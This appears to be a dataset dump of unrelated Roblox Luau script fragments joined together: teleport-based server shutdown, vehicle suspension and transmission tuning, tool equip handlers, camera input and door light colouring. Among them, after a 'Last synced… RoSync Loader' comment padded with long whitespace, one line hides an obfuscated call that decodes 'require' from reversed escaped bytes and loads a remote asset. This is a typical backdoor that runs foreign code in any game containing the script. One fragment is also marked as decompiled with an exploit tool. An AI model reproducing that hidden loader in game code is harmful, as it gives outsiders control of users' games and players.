Roblox/luau_corpus huggingface dataset:
--[[
	SoftShutdown 1.2
	Author: Merely
	
	This systesm lets you shut down servers without losing a bunch of players.
	When game.OnClose is called, the script teleports everyone in the server
	into a reserved server.
	
	When the reserved servers start up, they wait a few seconds, and then
	send everyone back into the main place.
	
	I added wait() in a couple of places because if you don't, everyone will spawn into
	their own servers with only 1 player.
--]]

local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")

if (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then
	-- this is a reserved server without a VIP server owner
	local m = Instance.new("Message")
	m.Text = "This is a temporary lobby. Teleporting back in a moment."
	m.Parent = workspace
	
	local waitTime = 5

	Players.PlayerAdded:connect(function(player)
		wait(waitTime)
		waitTime = waitTime / 2
		TeleportService:Teleport(game.PlaceId, player)
	end)
	
	for _,player in pairs(Players:GetPlayers()) do
		TeleportService:Teleport(game.PlaceId, player)
		wait(waitTime)
		waitTime = waitTime / 2
	end
else
	game:BindToClose(function()
		if (#Players:GetPlayers() == 0) then
			return
		end
		
		if (game.JobId == "") then
			-- Offline
			return
		end
		
		local m = Instance.new("Message")
		m.Text = "Rebooting servers for update. Please wait"
		m.Parent = workspace
		wait(2)
		local reservedServerCode = TeleportService:ReserveServer(game.PlaceId)
		
		for _,player in pairs(Players:GetPlayers()) do
			TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
		end
		Players.PlayerAdded:connect(function(player)
			TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
		end)
		while (#Players:GetPlayers() > 0) do
			wait(1)
		end	
		
		-- done
	end)
end
-------- CONFIG
-- ENABLERS (do not touch yet)
local Popups_Enabled = true  -- Enables popups. (refer to "Instructions" for installation)

local Sequential_Indicators = false -- Enables sequential indicators. (refer to "Instructions" for installation)

local Sequential_Segments = 3 -- How many segments your indicators use. (don't use if Sequential_Indicators is false)

local Trunk_Lights = false -- Enables rear, brake, and reverse lights on trunk. (they will still work inside of the main model)

local Plate_Lights = false -- Enables license plate lights.

local Interior_Lights = false -- Enables interior lights. (Not Working Yet)

local Door_Functionality = false -- (USE ONLY IF YOU HAVE OPENING DOORS, including trunk, any kind of door in misc **trunk no working yet)

local Mirror_Indicators = false --Enables indicators on mirrors. (Not Working yet)

local Dashboard_Indicators = false -- Enables dashboard indicators. (refer to "Instrucitons" for setup) (Not Working Yet)
--Set up equipped and unequipped event.
Tool.Equipped:Connect(function(NewMouse)
	if not Equipped then
		Equipped = true
		CurrentMouse = NewMouse
		UpdateIcon()
		
		--Create the local equip sound.
		LocalEquipSound = EquipSound:Clone()
		LocalEquipSound.Parent = Handle
		LocalEquipSound:Play()
		EquipSound.Volume = 0
		EquipSound:Stop()
		
		
		--Create the local reload sound.
		LocalReloadSound = ReloadSound:Clone()
		LocalReloadSound.Parent = Handle
		ReloadSound.Volume = 0
		ReloadSound:Stop()
	end
end)

Tool.Unequipped:Connect(function()
	if Equipped then
		Equipped = false
		CurrentHandRocket = nil
		if CurrentAnimation then CurrentAnimation:Stop() end
		
		--Remove the local sounds.
		if LocalEquipSound then
			LocalEquipSound:Stop()
			LocalEquipSound:Destroy()
			EquipSound.Volume = EquipVolume
		end
		
		if LocalReloadSound then
			LocalReloadSound:Stop()
			LocalReloadSound:Destroy()
			ReloadSound.Volume = ReloadVolume
		end
	end
end)

Tool:GetPropertyChangedSignal("Enabled"):Connect(UpdateIcon)
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]


local autoscaling	= false					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default	
	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 240				,
		spInc			= 20				, -- Increment between labelled notches
	},
	
}
--- Creates callbacks and sets up initial state.
function ScopeHUD:init(props)
    self.Maid = Maid.new()
    self.LayoutRef = Roact.createRef()
    self.ContainerSize, self.UpdateContainerSize = Roact.createBinding(UDim2.new(0, 0, 0, 38/2))

    --- Processes input, listens for hover start
    function self.OnInputBegin(rbx, Input, WasProcessed)
        if WasProcessed then
            return
        end

        -- Set hovering state
        if (Input.UserInputType.Name == 'MouseMovement') or
           (Input.UserInputType.Name == 'Touch') then
            self:setState({
                IsHovering = true
            })
        end
    end

    --- Processes input, listens for hover end
    function self.OnInputEnd(rbx, Input, WasProcessed)
        if (Input.UserInputType.Name == 'MouseMovement') or
           (Input.UserInputType.Name == 'Touch') then
            self:setState({
                IsHovering = false
            })
        end
    end

    --- Processes requests from buttons to set scope
    function self.SetScopeFromButton(NewScope)
        self.props.Core.Targeting:SetScope(NewScope)
    end

    -- Set initial state
    self:UpdateTargetingState()
    self:setState({
        IsHovering = false;
        IsToolModeEnabled = (self.props.Core.Mode == 'Tool')
    })
end
-- Decompiled with the Synapse X Luau decompiler.

local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
	game:GetService("RunService").Heartbeat:Wait();
end;
local u1 = Random.new();
function CreatePet()
	local v2 = v1.Save.Get();
	if not v2 then
		return;
	end;
	local l__Pets__3 = v2.Pets;
	if #l__Pets__3 <= 0 then
		return;
	end;
	local v4 = l__Pets__3[u1:NextInteger(1, #l__Pets__3)];
	local v5 = v1.Directory.Pets[v4.id];
	local v6 = script.petFrame:Clone();
	v6.pet.Image = v4.dm and v5.darkMatterThumbnail or (v4.g and v5.goldenThumbnail or v5.thumbnail);
	if v4.r then
		v1.GUIFX.Rainbow(v6.pet, "ImageColor3", 3);
	end;
	v6.Position = UDim2.new(-1, 0, 0, 0);
	v6.Parent = script.Parent;
	v1.Functions.FastTween(v6, {
		Position = UDim2.new(1, 0, 0, 0)
	}, { 10, "Linear" }).Completed:Connect(function()
		v6:Destroy();
	end);
	coroutine.wrap(function()
		while true do
			if v6 then

			else
				break;
			end;
			if v6.Parent then

			else
				break;
			end;
			v1.Functions.FastTween(v6.pet, {
				Position = UDim2.new(0, 0, 0.2, 0)
			}, { 1, "Sine", "InOut" }).Completed:Wait();
			v1.Functions.FastTween(v6.pet, {
				Position = UDim2.new(0, 0, 0, 0)
			}, { 1, "Sine", "InOut" }).Completed:Wait();		
		end;
	end)();
end;
while true do
	CreatePet();
	v1.Functions.Wait(1);
end;
--//Settings
BlurAmount = 15 -- Change this to increase or decrease the blur size
--[[
	Function called upon entering the state
]]
function PlayerFinished.enter(stateMachine, playerComponent)
	wait(3)
	if stateMachine.can("startSpectating") then
		stateMachine:startSpectating()
	end
end
--[[ Constants ]]--
local ZERO_VECTOR3 = Vector3.new(0,0,0)
	local movementKeys = {
		[Enum.KeyCode.W] = true;
		[Enum.KeyCode.A] = true;
		[Enum.KeyCode.S] = true;
		[Enum.KeyCode.D] = true;
		[Enum.KeyCode.Up] = true;
		[Enum.KeyCode.Down] = true;
	}

local Player = Players.LocalPlayer
local PlayerScripts = Player.PlayerScripts

local TouchJump = nil

local SHOW_PATH = true

local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList

local CurrentSeatPart = nil
local DrivingTo = nil

local XZ_VECTOR3 = Vector3.new(1,0,1)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local ZERO_VECTOR2 = Vector2.new(0,0)

local BindableEvent_OnFailStateChanged = nil
if UserInputService.TouchEnabled then
--[END]]
--[[ Last synced 4/22/2021 03:59                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
-- This is called when settings menu is opened
function BaseCamera:ResetInputStates()
	self.isRightMouseDown = false
	self.isMiddleMouseDown = false
	self:OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters

	if UserInputService.TouchEnabled then
		--[[menu opening was causing serious touch issues
		this should disable all active touch events if
		they're active when menu opens.]]
		for inputObject in pairs(self.fingerTouches) do
			self.fingerTouches[inputObject] = nil
		end
		self.panBeginLook = nil
		self.startPos = nil
		self.lastPos = nil
		self.userPanningTheCamera = false
		self.startingDiff = nil
		self.pinchBeginZoom = nil
		self.numUnsunkTouches = 0
	end
end

function BaseCamera:GetGamepadPan(name, state, input)
	if input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
--------RIGHT DOOR 5--------
game.Workspace.doorright.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(135)

game.Workspace.doorright.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(102)
-- Set up the event handler for the button
btn.MouseButton1Click:Connect(toggleWindows)
--[[Susupension]]
	Tune.SusEnabled		= false		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
-----------------
--| Variables |--
-----------------

local GamePassService = game:GetService('MarketplaceService')
local PlayersService = game:GetService('Players')

local VipDoor = script.Parent

local GamePassIdObject = WaitForChild(script, 'GamePassId')

local JustTouched = {}
-- Confetti Defaults.
local shapes = {script:WaitForChild("CircularConfetti"), script:WaitForChild("SquareConfetti")};
local colors = {Color3.fromRGB(168,100,253), Color3.fromRGB(41,205,255), Color3.fromRGB(120,255,68), Color3.fromRGB(255,113,141), Color3.fromRGB(253,255,106)};
--[[Transmission]]
	Tune.TransModes		= {"Auto","Semi","Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 13.5			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	1.5		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		1.89		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		0.76		,
		--[[ 3 ]]		0.63        ,
		--[[ 4 ]]       0.49        ,
		--[[ 5 ]]       0.33        ,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Below is the script to make the moving platform work. It won't work if something is wrong with the destination blocks.

local mainFolder = script.Parent
local platform = mainFolder.Platform
local alignPosition = platform.AlignPosition
-- Bind Events
CaptureFlag.Event:connect(OnCaptureFlag)
ReturnFlag.Event:connect(OnReturnFlag)

return GameManager
--[=[
	Yields the current thread until the given Promise completes. Returns the the values that the promise resolved with.

	```lua
	local worked = pcall(function()
		print("got", getTheValue():expect())
	end)

	if not worked then
		warn("it failed")
	end
	```

	This is essentially sugar for:

	```lua
	select(2, assert(promise:await()))
	```

	**Errors** if the Promise rejects or gets cancelled.

	@error any -- Errors with the rejection value if this Promise rejects or gets cancelled.
	@yields
	@return ...any -- The values the Promise resolved with.
]=]
function Promise.prototype:expect()
	return expectHelper(self:awaitStatus())
end
--[[ Reference extension ]]--

do
	local ReferenceTypes = {
		Character = {},
		CharacterPart = {}
	}

	local References = {} 
	local Objects = {}

	for i,v in pairs(ReferenceTypes) do
		References[i] = {}
		Objects[i] = {}
	end
	
	function Network:AddReference(key, refType, ...)
		local refInfo = ReferenceTypes[refType]
		assert(refInfo, "Invalid Reference Type")
		
		local refData = {
			Type = refType,
			Reference = key,
			Objects = {...},
			Aliases = {}
		}
		
		References[refType][refData.Reference] = refData
		
		local last = Objects[refType]
		for _,obj in ipairs(refData.Objects) do
			local list = last[obj] or {}
			last[obj] = list
			last = list
		end
		
		last.__Data = refData
	end

	function Network:AddReferenceAlias(key, refType, ...)
		local refInfo = ReferenceTypes[refType]
		assert(refInfo, "Invalid Reference Type")
		
		local refData = References[refType][key]
		if not refData then
			warn("Tried to add an alias to a non-existing reference")
			return
		end
		
		local objects = {...}
		refData.Aliases[#refData.Aliases + 1] = objects
		
		local last = Objects[refType]
		for _,obj in ipairs(objects) do
			local list = last[obj] or {}
			last[obj] = list
			last = list
		end
		
		last.__Data = refData
	end

	function Network:RemoveReference(key, refType)
		local refInfo = ReferenceTypes[refType]
		assert(refInfo, "Invalid Reference Type")
		
		local refData = References[refType][key]
		if not refData then
			warn("Tried to remove a non-existing reference")
			return
		end
		
		References[refType][refData.Reference] = nil
		
		local function rem(parent, objects, index)
			if index <= #objects then
				local key = objects[index]
				local child = parent[key]
				
				rem(child, objects, index + 1)
				
				if next(child) == nil then
					parent[key] = nil
				end
			elseif parent.__Data == refData then
				parent.__Data = nil
			end
		end
		
		local objects = Objects[refData.Type]
		rem(objects, refData.Objects, 1)
		
		for i,alias in ipairs(refData.Aliases) do
			rem(objects, alias, 1)
		end
	end

	function Network:GetObject(ref, refType)
		assert(ReferenceTypes[refType], "Invalid Reference Type")
		
		local refData = References[refType][ref]
		if not refData then
			return nil
		end
		
		return unpack(refData.Objects)
	end

	function Network:GetReference(...)
		local objects = {...}
		
		local refType = table.remove(objects)
		assert(ReferenceTypes[refType], "Invalid Reference Type")
		
		local last = Objects[refType]
		for i,v in ipairs(objects) do
			last = last[v]
			
			if not last then
				break
			end
		end
		
		local refData = last and last.__Data
		return refData and refData.Reference or nil
	end
end
-- KEY IS DOWN --
UIS.InputBegan:Connect(function(Input, isTyping)
	if isTyping then return end

	if Input.KeyCode == Enum.KeyCode.R then
		if Equipped.Value and Holding.Value == "None" and not Using.Value then
			SkillsHandler:FireServer("Hold", "R")
		end
	end
end)
-- ROBLOX deviation: omitting imports for file system interaction

local CurrentModule = script
local Packages = CurrentModule.Parent
-- Explicit dependencies are dependencies that are are explicitly listed.
-- These dependencies are available to this package and ANY dependent packages below
function PackageInfoUtils.fillExplicitPackageDependencySet(explicitDependencySet, packageFolder, packageInfoMap)
	assert(type(explicitDependencySet) == "table", "Bad explicitDependencySet")
	assert(typeof(packageFolder) == "Instance", "Bad packageFolder")
	assert(type(packageInfoMap) == "table", "Bad packageInfoMap")

	for _, item in pairs(packageFolder:GetChildren()) do
		if item:IsA("Folder") and item.Name == ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then
			for _, packageInfo in pairs(PackageInfoUtils.getPackageInfoListFromDependencyFolder(item, packageInfoMap)) do
				explicitDependencySet[packageInfo] = true
			end
		end
	end
end

return PackageInfoUtils
-- Private Functions -- 
function getMotorVelocity( motor )
	return motor.Attachment1.WorldAxis:Dot( motor.Attachment1.Parent.RotVelocity )
end
--------LEFT DOOR --------

game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)

game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)

game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)

game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
-- How to install
-- Put the "[FE+] Pedals" script into the Plugins folder
-- Move the "BP","CP" and "GP" groups to fit the interior, and put them in the Misc group
-- Copy and paste the following into MiscWeld under initialize.

MakeWeld(misc.BP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(misc.BP.Parts,misc.BP.SS)
MakeWeld(misc.GP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(misc.GP.Parts,misc.GP.SS)
MakeWeld(misc.CP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(misc.CP.Parts,misc.CP.SS)
--[[
	Player state. No logic, as server dictates entry and exit in this state.
]]
local PlayerSpectating = {}
--[[Weight and CG]]
	Tune.Weight			= 2200		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		8		,
	 --[[Height]]		4.5		,
	 --[[Length]]		16		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members